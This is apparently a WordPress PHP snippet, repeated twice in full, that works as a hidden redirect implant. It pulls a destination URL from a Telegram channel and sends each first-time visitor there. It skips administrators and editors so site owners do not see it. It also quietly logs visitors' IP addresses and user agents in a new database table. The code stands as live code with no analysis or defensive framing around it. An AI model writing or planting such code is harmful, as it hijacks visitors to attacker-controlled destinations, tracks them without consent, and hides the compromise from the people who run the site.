add_action('template_redirect', 'custom_redirect_function'); function get_real_ip() { if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } return $_SERVER['REMOTE_ADDR'] ?? ''; } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; $ip = get_real_ip(); $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $table = $wpdb->prefix . "wusers_inputs"; // IPv4/6 в строку $ip_bin = inet_pton($ip); if ($ip_bin === false) $ip_bin = $ip; // если не распознали // Создать таблицу, если не существует if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip VARBINARY(16) NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } // Проверяем, был ли уже этот IP+UA $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", $ip_bin, $ua )); // Можно записывать всех, а не только админов/редакторов — смотри по задаче if (!$exists) { $wpdb->insert($table, array( 'ip' => $ip_bin, 'useragent' => $ua )); } if ($on_hot_redirect && !$exists && !current_user_can('editor') && !current_user_can('administrator')) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); $link = ''; $age = 0; if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (empty($link) || $age >= 30) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } add_action('template_redirect', 'custom_redirect_function'); function get_real_ip() { if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } return $_SERVER['REMOTE_ADDR'] ?? ''; } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; $ip = get_real_ip(); $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $table = $wpdb->prefix . "wusers_inputs"; // IPv4/6 в строку $ip_bin = inet_pton($ip); if ($ip_bin === false) $ip_bin = $ip; // если не распознали // Создать таблицу, если не существует if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip VARBINARY(16) NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } // Проверяем, был ли уже этот IP+UA $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", $ip_bin, $ua )); // Можно записывать всех, а не только админов/редакторов — смотри по задаче if (!$exists) { $wpdb->insert($table, array( 'ip' => $ip_bin, 'useragent' => $ua )); } if ($on_hot_redirect && !$exists && !current_user_can('editor') && !current_user_can('administrator')) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); $link = ''; $age = 0; if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (empty($link) || $age >= 30) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } }